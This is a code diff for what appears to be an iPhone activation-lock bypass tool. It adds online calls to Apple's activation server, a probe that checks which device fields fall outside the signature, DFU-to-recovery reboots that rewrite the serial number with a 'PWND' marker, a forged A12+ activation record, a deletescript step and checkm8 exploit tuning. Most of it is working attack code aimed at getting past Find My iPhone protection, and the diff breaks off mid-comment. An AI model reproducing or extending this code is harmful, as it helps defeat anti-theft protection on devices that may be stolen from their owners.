diff --git a/Makefile b/Makefile index 3a05502..7dfc55f 100644 --- a/Makefile +++ b/Makefile @@ -4,7 +4,7 @@ LDFLAGS = # Library discovery via pkg-config (warn but do not fail if missing) PKG_LIBS = libimobiledevice-1.0 libirecovery-1.0 libusb-1.0 \ - libplist-2.0 openssl + libplist-2.0 openssl libcurl CFLAGS += $(shell pkg-config --cflags $(PKG_LIBS) 2>/dev/null) LDFLAGS += $(shell pkg-config --libs $(PKG_LIBS) 2>/dev/null) @@ -26,6 +26,20 @@ $(TARGET): $(OBJS) clean: find src -name '*.o' -delete - rm -f $(TARGET) + rm -f $(TARGET) $(TEST_TARGET) -.PHONY: all clean +# ------------------------------------------------------------------ # +# Test target: compile only hardware-independent units # +# ------------------------------------------------------------------ # + +TEST_UNITS = src/device/chip_db.c src/bypass/bypass.c src/util/log.c +TEST_TARGET = tests/run_tests +TEST_CFLAGS = $(CFLAGS) -Iinclude -DUNIT_TEST + +test: $(TEST_TARGET) + ./$(TEST_TARGET) + +$(TEST_TARGET): tests/test_sections.c $(TEST_UNITS) + $(CC) $(TEST_CFLAGS) -o $@ $^ + +.PHONY: all clean test diff --git a/include/activation/session.h b/include/activation/session.h index e0aab98..58511cf 100644 --- a/include/activation/session.h +++ b/include/activation/session.h @@ -11,8 +11,9 @@ * 4. deviceActivation (offline/online) -> activation record * 5. HandleActivationInfoWithSessionRequest -> finalize * - * This tool uses OFFLINE mode (design decision D2): stages 2 and 4 - * construct responses locally instead of calling albert.apple.com. + * Offline mode: stages 2 and 4 construct responses locally (requires + * patched mobileactivationd -- Path A jailbreak only). + * Online mode: stages 2 and 4 contact albert.apple.com directly. */ #ifndef SESSION_H @@ -62,4 +63,40 @@ int session_create_activation_info(device_info_t *dev, int session_activate(device_info_t *dev, plist_t activation_record, plist_t handshake_response); +/* + * session_drm_handshake_online -- Online stage 2: POST to Albert. + * Serializes session_info to binary plist and POSTs to + * albert.apple.com/deviceservices/drmHandshake. Parses the response + * with libplist (handles both XML and binary formats). + * On success, *handshake_response is a new plist. Caller frees. + * Returns 0 on success, -1 on error. + */ +int session_drm_handshake_online(device_info_t *dev, plist_t session_info, + plist_t *handshake_response); + +/* + * session_device_activation_online -- Online stage 4: POST to Albert. + * URL-encodes activation_info as XML plist and POSTs to + * albert.apple.com/deviceservices/deviceActivation. + * On success, *activation_record is a new plist. Caller frees. + * Returns 0 on success, -1 on error. + */ +int session_device_activation_online(device_info_t *dev, + plist_t activation_info, + plist_t *activation_record); + +/* + * session_probe_albert -- Diagnostic probe: dump CollectionBlob IngestBody + * fields and run only the drmHandshake stage against Albert. + * + * Prints every key found in the signed IngestBody JSON so the caller can + * confirm which fields (including iOS version) are inside vs. outside the + * ECDSA signature boundary. Then POSTs to drmHandshake and reports the + * HTTP status and top-level keys of the response — without proceeding to + * deviceActivation (which would trigger FMiP rejection on locked devices). + * + * Returns 0 on success (drmHandshake HTTP 200), -1 on error. + */ +int session_probe_albert(device_info_t *dev, plist_t session_info); + #endif /* SESSION_H */ diff --git a/include/bypass/path_b.h b/include/bypass/path_b.h index fa5c4ff..857cdf9 100644 --- a/include/bypass/path_b.h +++ b/include/bypass/path_b.h @@ -33,10 +33,18 @@ int path_b_read_serial(device_info_t *dev, char *buf, size_t len); /* * path_b_write_serial -- Write a modified serial descriptor to the device. - * Sends a USB control transfer to overwrite the serial string descriptor - * in the DFU interface. + * Routes through path_b_write_serial_irecovery() which uses libirecovery + * setenv commands from recovery mode (SET_DESCRIPTOR is rejected by A12+ BootROM). * Returns 0 on success, -1 on error. */ int path_b_write_serial(device_info_t *dev, const char *new_serial); +/* + * path_b_write_serial_irecovery -- Write serial via iRecovery setenv in recovery mode. + * Device must already be in recovery mode (PID 0x1281) before calling. + * Used internally by path_b.c step_manipulate_identity(). + * Returns 0 on success, -1 on error. + */ +int path_b_write_serial_irecovery(device_info_t *dev, const char *new_serial); + #endif /* PATH_B_H */ diff --git a/include/device/chip_db_table_rop.h b/include/device/chip_db_table_rop.h index 1598ce9..a2c7343 100644 --- a/include/device/chip_db_table_rop.h +++ b/include/device/chip_db_table_rop.h @@ -178,7 +178,7 @@ { .cpid = 0x8110, .name = "A15", .marketing = "iPhone 13 / iPhone SE (3rd gen)" }, { .cpid = 0x8112, .name = "M2", .marketing = "iPad Pro (6th gen) / MacBook (M2)" }, { .cpid = 0x8120, .name = "A16", .marketing = "iPhone 14 Pro / iPhone 14 Pro Max" }, - { .cpid = 0x8130, .name = "A17", .marketing = "iPhone 15 Pro / iPhone 15 Pro Max" }, + { .cpid = 0x8130, .name = "A17P", .marketing = "iPhone 15 Pro / iPhone 15 Pro Max" }, /* Null-terminated sentinel */ { 0 } diff --git a/include/exploit/checkm8_internal.h b/include/exploit/checkm8_internal.h index 950c96d..38a8940 100644 --- a/include/exploit/checkm8_internal.h +++ b/include/exploit/checkm8_internal.h @@ -26,10 +26,11 @@ /* Exploit tuning parameters */ /* ------------------------------------------------------------------ */ -#define MAX_EXPLOIT_TRIES 3 -#define STAGE_DELAY_USEC 10000 /* 10 ms */ -#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ -#define USB_TIMEOUT_MS 5000 +#define MAX_EXPLOIT_TRIES 3 +#define STAGE_DELAY_USEC 10000 /* 10 ms */ +#define USB_RECONNECT_DELAY_USEC 2000000 /* 2 s: wait for device reset between retries */ +#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ +#define USB_TIMEOUT_MS 5000 /* USB timeout for abort-based async transfers (matches gaster default) */ #define USB_ABORT_TIMEOUT_DEFAULT 5 diff --git a/src/activation/session_online.c b/src/activation/session_online.c new file mode 100644 index 0000000..c011215 --- /dev/null +++ b/src/activation/session_online.c @@ -0,0 +1,414 @@ +/* session_online.c -- Online activation stages 2 and 4 via Albert server. */ + +#include +#include +#include +#include +#include + +#include "activation/session.h" +#include "device/device.h" +#include "util/log.h" + +#define DRM_HANDSHAKE_URL "https://albert.apple.com/deviceservices/drmHandshake" +#define DEVICE_ACTIV_URL "https://albert.apple.com/deviceservices/deviceActivation" +#define ACTIVATION_UA "iOS Device Activator (MobileActivation-592.103.2)" +#define HTTP_TIMEOUT_SECS 30L + +struct resp_buf { + uint8_t *data; + size_t len; +}; + +static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *ud) +{ + struct resp_buf *b = ud; + size_t add = size * nmemb; + uint8_t *tmp = realloc(b->data, b->len + add + 1); + if (!tmp) return 0; + b->data = tmp; + memcpy(b->data + b->len, ptr, add); + b->len += add; + b->data[b->len] = '\0'; + return add; +} + +static int http_post(const char *url, + const char *body, size_t body_len, + const char *content_type, + struct resp_buf *out) +{ + CURL *curl = curl_easy_init(); + if (!curl) return -1; + + struct curl_slist *headers = NULL; + char ct[256]; + snprintf(ct, sizeof(ct), "Content-Type: %s", content_type); + headers = curl_slist_append(headers, ct); + headers = curl_slist_append(headers, "Accept: application/xml"); + + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_POST, 1L); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body); + curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)body_len); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); + curl_easy_setopt(curl, CURLOPT_USERAGENT, ACTIVATION_UA); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, out); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, HTTP_TIMEOUT_SECS); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); + + CURLcode rc = curl_easy_perform(curl); + + long http_code = 0; + curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); + curl_slist_free_all(headers); + curl_easy_cleanup(curl); + + if (rc != CURLE_OK) { + log_error("[session_online] curl error: %s", curl_easy_strerror(rc)); + return -1; + } + if (http_code != 200) { + log_error("[session_online] HTTP %ld from %s", http_code, url); + if (out->data && out->len > 0) + log_debug("[session_online] Error body: %.*s", + (int)(out->len < 512 ? out->len : 512), out->data); + return -1; + } + return 0; +} + +int session_drm_handshake_online(device_info_t *dev, plist_t session_info, + plist_t *handshake_response) +{ + char *xml = NULL; + uint32_t xml_len = 0; + struct resp_buf resp = {NULL, 0}; + + (void)dev; + + if (!session_info || !handshake_response) { + log_error("[session_online] NULL args to drm_handshake_online"); + return -1; + } + *handshake_response = NULL; + + /* Albert expects the full session_info XML plist (with CollectionBlob + * base64-encoded inside it), not just the decoded CollectionBlob bytes. + * go-ios sends ~44 KB = the ~33 KB CollectionBlob data base64-encoded + * (~44 KB) plus the surrounding XML plist structure. */ + plist_to_xml(session_info, &xml, &xml_len); + if (!xml || xml_len == 0) { + log_error("[session_online] Failed to serialize session_info to XML"); + return -1; + } + + log_info("[session_online] POST %u bytes -> drmHandshake...", xml_len); + + if (http_post(DRM_HANDSHAKE_URL, xml, (size_t)xml_len, + "application/x-apple-plist", &resp) != 0) { + free(xml); + free(resp.data); + return -1; + } + free(xml); + + log_info("[session_online] Got %zu bytes from drmHandshake", resp.len); + + plist_from_memory((const char *)resp.data, (uint32_t)resp.len, + handshake_response, NULL); + free(resp.data); + + if (!*handshake_response) { + log_error("[session_online] Failed to parse drmHandshake response"); + return -1; + } + + log_info("[session_online] drmHandshake OK (online)"); + return 0; +} + +int session_device_activation_online(device_info_t *dev, + plist_t activation_info, + plist_t *activation_record) +{ + char *xml = NULL; + uint32_t xml_len = 0; + char *encoded = NULL; + char *body = NULL; + size_t body_len; + struct resp_buf resp = {NULL, 0}; + CURL *curl_esc; + + (void)dev; + + if (!activation_info || !activation_record) { + log_error("[session_online] NULL args to device_activation_online"); + return -1; + } + *activation_record = NULL; + + plist_to_xml(activation_info, &xml, &xml_len); + if (!xml || xml_len == 0) { + log_error("[session_online] Failed to serialize activation_info"); + return -1; + } + + curl_esc = curl_easy_init(); + if (!curl_esc) { free(xml); return -1; } + encoded = curl_easy_escape(curl_esc, xml, (int)xml_len); + curl_easy_cleanup(curl_esc); + free(xml); + + if (!encoded) { + log_error("[session_online] URL-encode of activation_info failed"); + return -1; + } + + body_len = strlen("activation-info=") + strlen(encoded); + body = malloc(body_len + 1); + if (!body) { curl_free(encoded); return -1; } + snprintf(body, body_len + 1, "activation-info=%s", encoded); + curl_free(encoded); + + log_info("[session_online] POST %zu bytes -> deviceActivation...", body_len); + + if (http_post(DEVICE_ACTIV_URL, body, body_len, + "application/x-www-form-urlencoded", &resp) != 0) { + free(body); + free(resp.data); + return -1; + } + free(body); + + log_info("[session_online] Got %zu bytes from deviceActivation", resp.len); + + plist_from_memory((const char *)resp.data, (uint32_t)resp.len, + activation_record, NULL); + free(resp.data); + + if (!*activation_record) { + log_error("[session_online] Failed to parse deviceActivation response"); + return -1; + } + + log_info("[session_online] deviceActivation OK (online)"); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Probe: dump IngestBody fields + drmHandshake only (no FMiP trigger) */ +/* ------------------------------------------------------------------ */ + +/* + * Print every key/value from the IngestBody JSON. Uses a simple + * key-scan rather than a full JSON parser to avoid adding a dependency. + * Masks long opaque blobs to keep the output readable. + */ +static void dump_ingest_body(const char *json, size_t len) +{ + const char *p = json; + const char *end = json + len; + + printf("\n--- IngestBody fields (inside ECDSA signature) ---\n"); + + while (p < end) { + /* Find next "key": pattern */ + const char *ks = memchr(p, '"', (size_t)(end - p)); + if (!ks) break; + ks++; + const char *ke = memchr(ks, '"', (size_t)(end - ks)); + if (!ke) break; + + size_t klen = (size_t)(ke - ks); + char key[128] = {0}; + if (klen < sizeof(key)) + memcpy(key, ks, klen); + else + memcpy(key, ks, sizeof(key) - 1); + + p = ke + 1; + + /* Skip whitespace and ':' */ + while (p < end && (*p == ' ' || *p == '\t' || *p == ':')) p++; + if (p >= end) break; + + /* Extract value (string or number) */ + char val[256] = {0}; + if (*p == '"') { + /* String value */ + const char *vs = p + 1; + const char *ve = memchr(vs, '"', (size_t)(end - vs)); + if (!ve) break; + size_t vlen = (size_t)(ve - vs); + if (vlen > 80) { + snprintf(val, sizeof(val), "[%zu bytes, first 16: %.16s...]", + vlen, vs); + } else { + if (vlen < sizeof(val)) + memcpy(val, vs, vlen); + } + p = ve + 1; + } else { + /* Non-string: read until delimiter */ + const char *vs = p; + while (p < end && *p != ',' && *p != '}' && *p != '\n') p++; + size_t vlen = (size_t)(p - vs); + if (vlen < sizeof(val)) + memcpy(val, vs, vlen); + } + + printf(" %-30s : %s\n", key, val); + } + printf("---------------------------------------------------\n\n"); +} + +int session_probe_albert(device_info_t *dev, plist_t session_info) +{ + char *xml = NULL; + uint32_t xml_len = 0; + struct resp_buf resp = {NULL, 0}; + plist_t hs_resp = NULL; + + (void)dev; + + if (!session_info) { + log_error("[probe] NULL session_info"); + return -1; + } + + /* ---- 1. Decode CollectionBlob and dump IngestBody ---- */ + { + plist_t cb = plist_dict_get_item(session_info, "CollectionBlob"); + if (!cb) { + log_error("[probe] No CollectionBlob in session_info"); + goto skip_ingest; + } + char *cb_data = NULL; + uint64_t cb_len = 0; + plist_get_data_val(cb, &cb_data, &cb_len); + + if (cb_data && cb_len > 0) { + /* CollectionBlob bytes are themselves an XML plist */ + plist_t cb_plist = NULL; + plist_from_memory(cb_data, (uint32_t)cb_len, &cb_plist, NULL); + + if (cb_plist) { + plist_t ib = plist_dict_get_item(cb_plist, "IngestBody"); + if (ib) { + plist_type t = plist_get_node_type(ib); + char *ib_str = NULL; + + if (t == PLIST_STRING) { + plist_get_string_val(ib, &ib_str); + } else if (t == PLIST_DATA) { + uint64_t ib_len = 0; + plist_get_data_val(ib, &ib_str, &ib_len); + } + + if (ib_str) { + dump_ingest_body(ib_str, strlen(ib_str)); + free(ib_str); + } else { + log_warn("[probe] IngestBody present but empty"); + } + } else { + log_warn("[probe] No IngestBody key in CollectionBlob plist"); + /* Dump CollectionBlob top-level keys anyway */ + plist_dict_iter it = NULL; + plist_dict_new_iter(cb_plist, &it); + char *k = NULL; plist_t v = NULL; + printf("\n--- CollectionBlob top-level keys ---\n"); + while (1) { + plist_dict_next_item(cb_plist, it, &k, &v); + if (!k) break; + printf(" %s\n", k); + free(k); k = NULL; + } + free(it); + printf("--------------------------------------\n\n"); + } + plist_free(cb_plist); + } else { + log_warn("[probe] CollectionBlob is not a plist (raw %llu bytes)", + (unsigned long long)cb_len); + printf("[probe] First 64 bytes of CollectionBlob: "); + for (uint64_t i = 0; i < cb_len && i < 64; i++) + printf("%02x", (unsigned char)cb_data[i]); + printf("\n"); + } + } + free(cb_data); + } + +skip_ingest: + + /* ---- 2. Dump HRM size for reference ---- */ + { + plist_t hrm = plist_dict_get_item(session_info, "HandshakeRequestMessage"); + if (hrm) { + char *hbuf = NULL; + uint64_t hlen = 0; + plist_get_data_val(hrm, &hbuf, &hlen); + printf("[probe] HandshakeRequestMessage: %llu bytes\n", + (unsigned long long)hlen); + free(hbuf); + } + } + + /* ---- 3. POST to drmHandshake (stage 2 only, no deviceActivation) ---- */ + printf("[probe] Sending session_info to Albert drmHandshake...\n"); + + plist_to_xml(session_info, &xml, &xml_len); + if (!xml || xml_len == 0) { + log_error("[probe] Failed to serialize session_info"); + return -1; + } + printf("[probe] Payload size: %u bytes\n", xml_len); + + if (http_post(DRM_HANDSHAKE_URL, xml, (size_t)xml_len, + "application/x-apple-plist", &resp) != 0) { + free(xml); + free(resp.data); + printf("[probe] drmHandshake: FAILED (HTTP error)\n"); + return -1; + } + free(xml); + + printf("[probe] drmHandshake: HTTP 200 OK -- %zu bytes received\n", + resp.len); + + /* Parse and dump top-level keys of the handshake response */ + plist_from_memory((const char *)resp.data, (uint32_t)resp.len, + &hs_resp, NULL); + free(resp.data); + + if (hs_resp) { + printf("[probe] Handshake response top-level keys:\n"); + plist_dict_iter it = NULL; + plist_dict_new_iter(hs_resp, &it); + char *k = NULL; plist_t v = NULL; + while (1) { + plist_dict_next_item(hs_resp, it, &k, &v); + if (!k) break; + plist_type t = plist_get_node_type(v); + const char *tname = (t == PLIST_DATA) ? "data" : + (t == PLIST_STRING) ? "string" : + (t == PLIST_DICT) ? "dict" : + (t == PLIST_ARRAY) ? "array" : + (t == PLIST_UINT) ? "uint" : "other"; + printf(" %-30s [%s]\n", k, tname); + free(k); k = NULL; + } + free(it); + plist_free(hs_resp); + } else { + printf("[probe] Could not parse handshake response as plist\n"); + printf(" (response may be binary -- first 32 bytes already logged)\n"); + } + + printf("\n[probe] Stopped before deviceActivation " + "(FMiP check is at that stage).\n"); + return 0; +} diff --git a/src/bypass/path_b.c b/src/bypass/path_b.c index eb57f79..fa5d1e5 100644 --- a/src/bypass/path_b.c +++ b/src/bypass/path_b.c @@ -12,7 +12,11 @@ */ #include +#include #include +#include +#include +#include #include "bypass/path_b.h" #include "bypass/signal.h" @@ -20,8 +24,19 @@ #include "activation/activation.h" #include "activation/session.h" #include "activation/record.h" +#include "device/device.h" +#include "device/usb_dfu.h" #include "util/log.h" +/* Polling interval (2 s) and max wait for device mode transitions */ +#define REBOOT_POLL_USEC 2000000 +#define RECOVERY_WAIT_SECS 60 +#define NORMAL_WAIT_SECS 90 + +/* Apple USB IDs */ +#define APPLE_VID_PATH_B 0x05AC +#define RECOVERY_PID_PATH_B 0x1281 + /* Forward declarations for module callbacks. */ static int path_b_probe(device_info_t *dev); static int path_b_execute(device_info_t *dev); @@ -63,13 +78,91 @@ static int path_b_probe(device_info_t *dev) } /* - * step_manipulate_identity -- Step 1: modify serial descriptors in DFU. + * step_reboot_to_recovery -- Step 1/10: transition device from DFU to + * recovery mode so that iRecovery setenv commands become available. + * + * Sends a DFU_ABORT class request which causes the device to reset. + * On A12+ this typically lands in recovery mode (PID 0x1281). + * Polls for recovery mode appearance up to RECOVERY_WAIT_SECS seconds. + */ +static int step_reboot_to_recovery(device_info_t *dev) +{ + libusb_context *ctx = NULL; + libusb_device **devs = NULL; + ssize_t count; + ssize_t i; + int elapsed = 0; + int found = 0; + + log_info("[path_b] Step 1/10: Rebooting device from DFU to recovery mode..."); + + if (!dev->usb) { + log_error("[path_b] No USB handle -- device not in DFU mode"); + return -1; + } + + /* DFU_ABORT: bmRequestType=0x21 (class, interface, host-to-device), + * bRequest=DFU_ABORT(6), wValue=0, wIndex=0, wLength=0 */ + libusb_control_transfer(dev->usb, 0x21, 6, 0, 0, NULL, 0, 1000); + + /* Release DFU handle -- device is resetting */ + usb_dfu_close(dev->usb); + dev->usb = NULL; + dev->is_dfu_mode = 0; + + log_info("[path_b] DFU abort sent, waiting for recovery mode..."); + + if (libusb_init(&ctx) != LIBUSB_SUCCESS) { + log_error("[path_b] libusb_init failed for recovery poll"); + return -1; + } + + while (elapsed < RECOVERY_WAIT_SECS) { + usleep(REBOOT_POLL_USEC); + elapsed += 2; + + count = libusb_get_device_list(ctx, &devs); + if (count < 0) { + libusb_free_device_list(devs, 1); + continue; + } + + for (i = 0; i < count && !found; i++) { + struct libusb_device_descriptor desc; + if (libusb_get_device_descriptor(devs[i], &desc) != LIBUSB_SUCCESS) + continue; + if (desc.idVendor == APPLE_VID_PATH_B && + desc.idProduct == RECOVERY_PID_PATH_B) + found = 1; + } + + libusb_free_device_list(devs, 1); + + if (found) { + log_info("[path_b] Recovery mode detected (%ds)", elapsed); + libusb_exit(ctx); + return 0; + } + + log_debug("[path_b] Waiting for recovery... %ds / %ds", + elapsed, RECOVERY_WAIT_SECS); + } + + libusb_exit(ctx); + log_error("[path_b] Timed out waiting for recovery mode (%ds)", RECOVERY_WAIT_SECS); + return -1; +} + +/* + * step_manipulate_identity -- Step 2/10: set PWND marker in serial-number + * via iRecovery setenv. Device must be in recovery mode at this point + * (step_reboot_to_recovery() must have run first). */ static int step_manipulate_identity(device_info_t *dev) { int rc; - log_info("[path_b] Step 1/9: Manipulating device identity in DFU..."); + log_info("[path_b] Step 2/10: Manipulating device identity in recovery mode..."); rc = path_b_manipulate_identity(dev); if (rc != 0) { @@ -82,18 +175,91 @@ static int step_manipulate_identity(device_info_t *dev) } /* - * step_detect_signal -- Step 2-3: detect and display signal info. + * step_reboot_to_normal -- Step 3/10: reboot from recovery to normal iOS + * and reconnect via lockdownd so activation services become available. + * + * Sends "reboot" via iRecovery, then polls for normal mode (idevice_id). + * Repopulates dev->handle and dev->lockdown on success. + */ +static int step_reboot_to_normal(device_info_t *dev) +{ + irecv_client_t client = NULL; + irecv_error_t err; + char **devices = NULL; + int count = 0; + int elapsed = 0; + + log_info("[path_b] Step 3/10: Rebooting from recovery to normal iOS..."); + + /* Open recovery device to send reboot command */ + if (dev->ecid != 0) + err = irecv_open_with_ecid_and_attempts(&client, (uint64_t)dev->ecid, 5); + else + err = irecv_open_with_ecid_and_attempts(&client, 0, 5); + + if (err != IRECV_E_SUCCESS || !client) { + log_error("[path_b] Could not open iRecovery for reboot: %s", + irecv_strerror(err)); + return -1; + } + + err = irecv_reboot(client); + irecv_close(client); + + if (err != IRECV_E_SUCCESS) + log_warn("[path_b] iRecovery reboot command returned: %s (continuing)", + irecv_strerror(err)); + else + log_info("[path_b] Reboot command sent, waiting for normal iOS mode..."); + + /* Poll for normal mode */ + while (elapsed < NORMAL_WAIT_SECS) { + usleep(REBOOT_POLL_USEC); + elapsed += 2; + + if (idevice_get_device_list(&devices, &count) == IDEVICE_E_SUCCESS + && count > 0) { + idevice_device_list_free(devices); + log_info("[path_b] Device visible in normal mode (%ds)", elapsed); + break; + } + if (devices) { + idevice_device_list_free(devices); + devices = NULL; + } + log_debug("[path_b] Waiting for normal mode... %ds / %ds", + elapsed, NORMAL_WAIT_SECS); + } + + if (elapsed >= NORMAL_WAIT_SECS) { + log_error("[path_b] Timed out waiting for normal iOS mode (%ds)", + NORMAL_WAIT_SECS); + return -1; + } + + /* Reconnect via lockdownd to populate dev->handle / dev->lockdown */ + if (device_detect(dev) < 0) { + log_error("[path_b] device_detect failed after reboot"); + return -1; + } + if (device_query_info(dev) < 0) + log_warn("[path_b] device_query_info incomplete (continuing)"); + + log_info("[path_b] Reconnected in normal mode, lockdownd available"); + return 0; +} + +/* + * step_detect_signal -- Steps 4-5: detect and display signal info. */ static int step_detect_signal(device_info_t *dev) { signal_type_t sig; - log_info("[path_b] Step 2/9: Detecting signal type..."); + log_info("[path_b] Step 4/10: Detecting signal type..."); sig = signal_detect_type(dev); (void)sig; /* Used implicitly by signal_print_info */ - - log_info("[path_b] Step 3/9: Signal info:"); signal_print_info(dev); return 0; @@ -112,8 +278,8 @@ static int step_session_handshake(device_info_t *dev, plist_t info = NULL; int rc; - /* Step 4: get session info blob from device */ - log_info("[path_b] Step 4/9: Requesting session info..."); + /* Step 5: get session info blob from device */ + log_info("[path_b] Step 5/10: Requesting session info..."); rc = session_get_info(dev, &session); if (rc != 0 || !session) { log_error("[path_b] Failed to get session info"); @@ -121,8 +287,8 @@ static int step_session_handshake(device_info_t *dev, } log_info("[path_b] Session info retrieved"); - /* Step 5: perform local drmHandshake */ - log_info("[path_b] Step 5/9: Performing drmHandshake..."); + /* Step 6: perform local drmHandshake */ + log_info("[path_b] Step 6/10: Performing drmHandshake..."); rc = session_drm_handshake(dev, session, &response); if (rc != 0 || !response) { log_error("[path_b] drmHandshake failed"); @@ -131,8 +297,8 @@ static int step_session_handshake(device_info_t *dev, } log_info("[path_b] drmHandshake succeeded"); - /* Step 6: create activation info with session response */ - log_info("[path_b] Step 6/9: Creating activation info..."); + /* Step 7: create activation info with session response */ + log_info("[path_b] Step 7/10: Creating activation info..."); rc = session_create_activation_info(dev, response, &info); if (rc != 0 || !info) { log_error("[path_b] Failed to create activation info"); @@ -157,7 +323,7 @@ static int step_activate(device_info_t *dev, plist_t response) plist_t record = NULL; int rc; - log_info("[path_b] Step 7/9: Building A12+ activation record..."); + log_info("[path_b] Step 8/10: Building A12+ activation record..."); record = record_build_a12(dev); if (!record) { log_error("[path_b] Failed to build A12+ activation record"); @@ -185,7 +351,7 @@ static int step_deletescript(device_info_t *dev) { int rc; - log_info("[path_b] Step 8/9: Running deletescript cleanup..."); + log_info("[path_b] Step 9/10: Running deletescript cleanup..."); rc = deletescript_run(dev); if (rc != 0) { @@ -206,7 +372,7 @@ static int step_verify(device_info_t *dev) { int rc; - log_info("[path_b] Step 9/9: Verifying activation state..."); + log_info("[path_b] Step 10/10: Verifying activation state..."); rc = activation_is_activated(dev); if (rc == 1) { @@ -240,22 +406,32 @@ static int path_b_execute(device_info_t *dev) dev->product_type, dev->cpid, (unsigned long long)dev->ecid); - /* Step 1: identity manipulation */ + /* Step 1: DFU -> recovery mode transition */ + rc = step_reboot_to_recovery(dev); + if (rc != 0) + return -1; + + /* Step 2: set PWND serial marker via iRecovery setenv */ rc = step_manipulate_identity(dev); if (rc != 0) return -1; - /* Steps 2-3: signal detection */ + /* Step 3: recovery -> normal iOS, reconnect lockdownd */ + rc = step_reboot_to_normal(dev); + if (rc != 0) + return -1; + + /* Step 4: signal detection (lockdownd now available) */ rc = step_detect_signal(dev); if (rc != 0) return -1; - /* Steps 4-6: session handshake */ + /* Steps 5-7: session handshake */ rc = step_session_handshake(dev, &response, &info); if (rc != 0) return -1; - /* Step 7: build record + activate */ + /* Step 8: build record + activate */ rc = step_activate(dev, response); if (rc != 0) { plist_free(response); diff --git a/src/bypass/path_b_identity.c b/src/bypass/path_b_identity.c index eb83c00..e9d8f77 100644 --- a/src/bypass/path_b_identity.c +++ b/src/bypass/path_b_identity.c @@ -10,15 +10,15 @@ #include #include #include +#include #include "bypass/path_b.h" #include "device/usb_dfu.h" #include "util/usb_helpers.h" #include "util/log.h" -/* USB descriptor request types */ +/* USB standard request codes (USB 2.0 spec table 9-4) */ #define USB_REQ_GET_DESCRIPTOR 0x06 -#define USB_REQ_SET_DESCRIPTOR 0x07 #define USB_DT_STRING 0x03 /* Serial string descriptor index for Apple DFU devices */ @@ -30,6 +30,9 @@ /* Maximum USB string descriptor length per USB 2.0 spec */ #define USB_DESC_MAX_LEN 255 +/* Apple recovery mode USB product ID */ +#define APPLE_RECOVERY_PID 0x1281 + /* * usb_get_string_descriptor -- GET_DESCRIPTOR control transfer for a * USB string descriptor. Returns bytes received, or -1 on error. @@ -105,117 +108,155 @@ static int utf16le_to_ascii(const uint8_t *desc, int desc_len, } /* - * ascii_to_utf16le_desc -- Build USB string descriptor from ASCII. - * Returns total descriptor length, or -1 on error. + * path_b_read_serial -- Read device serial string in DFU or recovery mode. + * + * DFU mode (dev->usb set): uses USB GET_DESCRIPTOR control transfer. + * Recovery mode (dev->usb NULL): uses libirecovery to read serial_string + * from the irecv_device_info struct (iBoot exposes it in recovery). */ -static int ascii_to_utf16le_desc(const char *ascii, - uint8_t *desc, size_t desc_max) -{ - size_t slen; - size_t total; - size_t i; - - if (!ascii || !desc || desc_max < 4) - return -1; - - slen = strlen(ascii); - total = 2 + (slen * 2); - - if (total > desc_max || total > USB_DESC_MAX_LEN) - return -1; - - desc[0] = (uint8_t)total; /* bLength */ - desc[1] = USB_DT_STRING; /* bDescriptorType */ - - for (i = 0; i < slen; i++) { - desc[2 + (i * 2)] = (uint8_t)ascii[i]; /* low byte */ - desc[2 + (i * 2) + 1] = 0x00; /* high byte */ - } - - return (int)total; -} - -/* path_b_read_serial -- Read serial descriptor from DFU, decode to ASCII. */ int path_b_read_serial(device_info_t *dev, char *buf, size_t len) { - uint8_t desc[USB_DESC_MAX_LEN]; - int desc_len; - if (!dev || !buf || len == 0) { log_error("[path_b_id] Invalid arguments to read_serial"); return -1; } - if (!dev->usb) { - log_error("[path_b_id] No USB handle -- device not in DFU mode?"); - return -1; + if (dev->usb) { + /* DFU mode: USB GET_DESCRIPTOR */ + uint8_t desc[USB_DESC_MAX_LEN]; + int desc_len = usb_get_string_descriptor(dev->usb, DFU_SERIAL_DESC_INDEX, + desc, sizeof(desc)); + if (desc_len < 0) + return -1; + + if (utf16le_to_ascii(desc, desc_len, buf, len) < 0) { + log_error("[path_b_id] Failed to decode serial descriptor"); + return -1; + } + log_debug("[path_b_id] Read serial (DFU): %s", buf); + return 0; } - desc_len = usb_get_string_descriptor(dev->usb, DFU_SERIAL_DESC_INDEX, - desc, sizeof(desc)); - if (desc_len < 0) - return -1; + /* Recovery mode: use libirecovery */ + { + irecv_client_t client = NULL; + irecv_error_t err; + const struct irecv_device_info *info; - if (utf16le_to_ascii(desc, desc_len, buf, len) < 0) { - log_error("[path_b_id] Failed to decode serial descriptor"); - return -1; + if (dev->ecid != 0) + err = irecv_open_with_ecid_and_attempts(&client, + (uint64_t)dev->ecid, 5); + else + err = irecv_open_with_ecid_and_attempts(&client, 0, 5); + + if (err != IRECV_E_SUCCESS || !client) { + log_error("[path_b_id] iRecovery open failed for serial read: %s", + irecv_strerror(err)); + return -1; + } + + info = irecv_get_device_info(client); + if (!info || !info->serial_string || info->serial_string[0] == '\0') { + log_error("[path_b_id] iRecovery: no serial string available"); + irecv_close(client); + return -1; + } + + strncpy(buf, info->serial_string, len - 1); + buf[len - 1] = '\0'; + log_debug("[path_b_id] Read serial (recovery): %s", buf); + irecv_close(client); + return 0; } - - log_debug("[path_b_id] Read serial: %s", buf); - return 0; } /* - * path_b_write_serial -- Write modified serial descriptor via SET_DESCRIPTOR. + * path_b_write_serial_irecovery -- Set serial-number env var in recovery mode. * - * TODO: A12+ DFU serial resides in writable SRAM. The exact write offset - * varies by chip (T8020/T8030/T8101/T8110/T8120/T8103/T8112) and must be - * determined by hardware testing. May need vendor-specific control transfer - * instead of standard SET_DESCRIPTOR if the DFU firmware rejects it. + * Apple's A12+ BootROM rejects SET_DESCRIPTOR with LIBUSB_ERROR_PIPE. + * Instead, this function uses libirecovery to send "setenv serial-number" + * from recovery mode (PID 0x1281), which iBoot accepts before booting iOS. + * The PWND marker in the serial is then 